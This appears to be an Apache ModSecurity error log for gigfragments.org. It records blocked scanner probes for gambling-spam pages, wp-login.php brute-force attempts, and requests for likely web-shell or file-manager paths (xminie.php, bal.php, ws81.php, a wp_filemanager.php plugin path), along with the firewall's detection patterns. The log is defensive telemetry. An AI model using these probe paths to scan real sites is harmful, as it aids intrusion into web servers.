[Sat May 16 01:58:34.883433 2026] [:error] [pid 9304:tid 9317] [client 65.108.78.33:32590] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "agdeytzcINh7UFIbVoGtLQAAAAc"]
[Sat May 16 01:58:35.311049 2026] [:error] [pid 9304:tid 9321] [client 51.77.216.124:56654] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "agdey9zcINh7UFIbVoGtLgAAAAs"]
[Sat May 16 01:58:36.910157 2026] [:error] [pid 30240:tid 30248] [client 65.108.78.33:32606] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "agdezK8ckHvaA6bpewuNNAAAAUY"]
[Sat May 16 01:58:38.089411 2026] [:error] [pid 30240:tid 30257] [client 51.77.216.124:57226] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "agdezq8ckHvaA6bpewuNOwAAAU8"]
[Sat May 16 01:58:38.833202 2026] [:error] [pid 9392:tid 9398] [client 65.108.78.33:32620] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "agdeztBWJIjH1U9zGfYF6wAAAQQ"]
[Sat May 16 01:58:40.912566 2026] [:error] [pid 30272:tid 30292] [client 65.108.78.33:32630] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "agde0Hvc_jSFaQ_7_wcu_gAAAZI"]
[Sat May 16 01:58:42.335135 2026] [:error] [pid 9304:tid 9331] [client 51.77.216.124:57230] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "agde0tzcINh7UFIbVoGtNAAAABU"]
[Sat May 16 01:58:42.943856 2026] [:error] [pid 30240:tid 30248] [client 65.108.78.33:64408] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "agde0q8ckHvaA6bpewuNSQAAAUY"]
[Sat May 16 01:58:44.847316 2026] [:error] [pid 30272:tid 30274] [client 65.108.78.33:64410] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "agde1Hvc_jSFaQ_7_wcvAgAAAYA"]
[Sat May 16 01:58:46.454635 2026] [:error] [pid 30272:tid 30280] [client 51.77.216.124:48308] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "agde1nvc_jSFaQ_7_wcvBwAAAYY"]
[Sat May 16 01:58:46.851011 2026] [:error] [pid 9305:tid 9338] [client 65.108.78.33:64424] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "agde1t5FZyBmdCM8GsGklgAAAEA"]
[Sat May 16 01:58:48.876070 2026] [:error] [pid 30240:tid 30252] [client 65.108.78.33:64428] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "agde2K8ckHvaA6bpewuNVwAAAUo"]
[Sat May 16 01:58:49.646217 2026] [:error] [pid 9307:tid 9376] [client 51.77.216.124:48310] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "agde2SC43jY1IRzK5VZyogAAAMs"]
[Sat May 16 01:58:54.189225 2026] [:error] [pid 30240:tid 30258] [client 51.77.216.124:48312] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "agde3q8ckHvaA6bpewuNYQAAAVA"]
[Sat May 16 01:58:58.819983 2026] [:error] [pid 30272:tid 30282] [client 51.77.216.124:33684] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "agde4nvc_jSFaQ_7_wcvEQAAAYg"]
[Sat May 16 02:00:49.482546 2026] [:error] [pid 59257:tid 59282] [client 51.77.216.124:42282] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "agdfUYNy1SVEpRrHx4R7AgAAAlU"]
[Sat May 16 02:00:51.970512 2026] [:error] [pid 59522:tid 59562] [client 51.77.216.124:38136] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "agdfU4KyKAkpeBAoLCZV1wAAA8c"]
[Sat May 16 02:00:54.194720 2026] [:error] [pid 59349:tid 59366] [client 51.77.216.124:38148] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "agdfVih0AYQwSTQz7DgO1wAAAs8"]
[Sat May 16 02:00:56.747782 2026] [:error] [pid 30272:tid 30289] [client 51.77.216.124:50716] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "agdfWHvc_jSFaQ_7_wcvwgAAAY8"]
[Sat May 16 02:00:58.894577 2026] [:error] [pid 9304:tid 9316] [client 51.77.216.124:50722] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "agdfWtzcINh7UFIbVoGtyQAAAAY"]
[Sat May 16 02:01:01.844603 2026] [:error] [pid 9304:tid 9324] [client 51.77.216.124:50728] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "agdfXdzcINh7UFIbVoGtywAAAA4"]
[Sat May 16 02:01:03.904290 2026] [:error] [pid 59349:tid 59370] [client 51.77.216.124:50740] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "agdfXyh0AYQwSTQz7DgO2wAAAtM"]
[Sat May 16 02:01:05.914462 2026] [:error] [pid 59522:tid 59570] [client 51.77.216.124:50748] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "agdfYYKyKAkpeBAoLCZV4AAAA88"]
[Sat May 16 02:01:08.797612 2026] [:error] [pid 59453:tid 59483] [client 51.77.216.124:37404] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "agdfZHnXIIDivY9RkF0pigAAA1Q"]
[Sat May 16 02:01:11.112122 2026] [:error] [pid 9304:tid 9334] [client 51.77.216.124:37416] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "agdfZ9zcINh7UFIbVoGt0gAAABg"]
[Sat May 16 02:01:13.374337 2026] [:error] [pid 59522:tid 59579] [client 51.77.216.124:37428] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "agdfaYKyKAkpeBAoLCZV6wAAA9g"]
[Sat May 16 02:01:15.337455 2026] [:error] [pid 9304:tid 9317] [client 51.77.216.124:37436] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "agdfa9zcINh7UFIbVoGt0wAAAAc"]
[Sat May 16 02:01:17.436851 2026] [:error] [pid 59522:tid 59577] [client 51.77.216.124:56516] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "agdfbYKyKAkpeBAoLCZV8gAAA9Y"]
[Sat May 16 02:01:19.517228 2026] [:error] [pid 30272:tid 30295] [client 51.77.216.124:56532] [client 51.77.216.124] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "agdfb3vc_jSFaQ_7_wcvzAAAAZU"]
[Sat May 16 02:35:12.084957 2026] [:error] [pid 30208:tid 30211] [client 168.187.5.230:39756] [client 168.187.5.230] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 168.187.5.230, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agdnYJmLMCJujX-JTvhXjQAAAIE"]
[Sat May 16 03:38:37.854046 2026] [:error] [pid 24867:tid 24881] [client 91.204.161.79:47134] [client 91.204.161.79] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.204.161.79, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agd2PSDgFLCgyKq-zmbaMAAAAAA"]
[Sat May 16 03:38:39.763525 2026] [:error] [pid 24867:tid 24899] [client 91.204.161.79:47134] [client 91.204.161.79] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.204.161.79, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "agd2PyDgFLCgyKq-zmbaNAAAABI"], referer: https://gigfragments.org/wp-login.php
[Sat May 16 04:47:50.767894 2026] [:error] [pid 24867:tid 24896] [client 43.157.95.131:51300] [client 43.157.95.131] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "ageGdiDgFLCgyKq-zmbjsAAAAA8"]
[Sat May 16 05:02:57.414476 2026] [:error] [pid 24867:tid 24887] [client 20.195.182.164:25092] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-link-snpm.php"] [unique_id "ageKASDgFLCgyKq-zmblGwAAAAY"]
[Sat May 16 05:03:04.100777 2026] [:error] [pid 5602:tid 5612] [client 20.195.182.164:13139] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-link-snpm.php"] [unique_id "ageKCNzTTsu77r3UIsmp1QAAAQg"]
[Sat May 16 05:03:10.456188 2026] [:error] [pid 5602:tid 5604] [client 20.195.182.164:9307] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-link-snpm.php"] [unique_id "ageKDtzTTsu77r3UIsmp8AAAAQA"]
[Sat May 16 05:03:13.517953 2026] [:error] [pid 24867:tid 24883] [client 20.195.182.164:6055] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xminie.php"] [unique_id "ageKESDgFLCgyKq-zmblMwAAAAI"]
[Sat May 16 05:03:17.799321 2026] [:error] [pid 24867:tid 24882] [client 20.195.182.164:16972] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xminie.php"] [unique_id "ageKFSDgFLCgyKq-zmblOgAAAAE"]
[Sat May 16 05:03:18.616341 2026] [:error] [pid 5602:tid 5605] [client 20.195.182.164:5597] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xminie.php"] [unique_id "ageKFtzTTsu77r3UIsmqGgAAAQE"]
[Sat May 16 05:03:19.495299 2026] [:error] [pid 5602:tid 5622] [client 20.195.182.164:7258] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xminie.php"] [unique_id "ageKF9zTTsu77r3UIsmqHgAAARI"]
[Sat May 16 05:03:20.229640 2026] [:error] [pid 5602:tid 5628] [client 20.195.182.164:15118] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aaa.php"] [unique_id "ageKGNzTTsu77r3UIsmqIwAAARg"]
[Sat May 16 05:03:20.946421 2026] [:error] [pid 24867:tid 24904] [client 20.195.182.164:7234] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aaa.php"] [unique_id "ageKGCDgFLCgyKq-zmblOwAAABc"]
[Sat May 16 05:03:21.839195 2026] [:error] [pid 24979:tid 25003] [client 20.195.182.164:25113] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aaa.php"] [unique_id "ageKGbvSFUQiwLaOL2oeCQAAANY"]
[Sat May 16 05:03:23.173062 2026] [:error] [pid 5602:tid 5621] [client 20.195.182.164:12039] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aaa.php"] [unique_id "ageKG9zTTsu77r3UIsmqNgAAARE"]
[Sat May 16 05:03:29.127170 2026] [:error] [pid 24874:tid 24949] [client 20.195.182.164:15144] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bal.php"] [unique_id "ageKIciii6x3XidYGHGSCwAAAI4"]
[Sat May 16 05:03:30.649773 2026] [:error] [pid 24874:tid 24951] [client 20.195.182.164:2237] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ageKIsiii6x3XidYGHGSDQAAAJA"]
[Sat May 16 05:03:33.159913 2026] [:error] [pid 5602:tid 5611] [client 20.195.182.164:20932] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bal.php"] [unique_id "ageKJdzTTsu77r3UIsmqRgAAAQc"]
[Sat May 16 05:03:33.790618 2026] [:error] [pid 5602:tid 5618] [client 20.195.182.164:21147] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ageKJdzTTsu77r3UIsmqRwAAAQ4"]
[Sat May 16 05:03:34.554546 2026] [:error] [pid 24979:tid 24997] [client 20.195.182.164:12041] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ageKJrvSFUQiwLaOL2oeDQAAANA"]
[Sat May 16 05:03:35.101495 2026] [:error] [pid 5602:tid 5604] [client 20.195.182.164:6355] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bal.php"] [unique_id "ageKJ9zTTsu77r3UIsmqTgAAAQA"]
[Sat May 16 05:03:35.451849 2026] [:error] [pid 5602:tid 5622] [client 20.195.182.164:25146] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ageKJ9zTTsu77r3UIsmqTwAAARI"]
[Sat May 16 05:03:37.859271 2026] [:error] [pid 5602:tid 5608] [client 20.195.182.164:14871] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bal.php"] [unique_id "ageKKdzTTsu77r3UIsmqUgAAAQQ"]
[Sat May 16 05:03:39.631113 2026] [:error] [pid 5602:tid 5628] [client 20.195.182.164:6341] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws81.php"] [unique_id "ageKK9zTTsu77r3UIsmqVQAAARg"]
[Sat May 16 05:03:41.077448 2026] [:error] [pid 24869:tid 24928] [client 20.195.182.164:26212] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws81.php"] [unique_id "ageKLexo3FMprMltYl74NAAAAFQ"]
[Sat May 16 05:03:42.040216 2026] [:error] [pid 5602:tid 5618] [client 20.195.182.164:26135] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws81.php"] [unique_id "ageKLtzTTsu77r3UIsmqWAAAAQ4"]
[Sat May 16 05:03:43.098768 2026] [:error] [pid 24874:tid 24952] [client 20.195.182.164:15121] [client 20.195.182.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws81.php"] [unique_id "ageKL8iii6x3XidYGHGSEwAAAJE"]
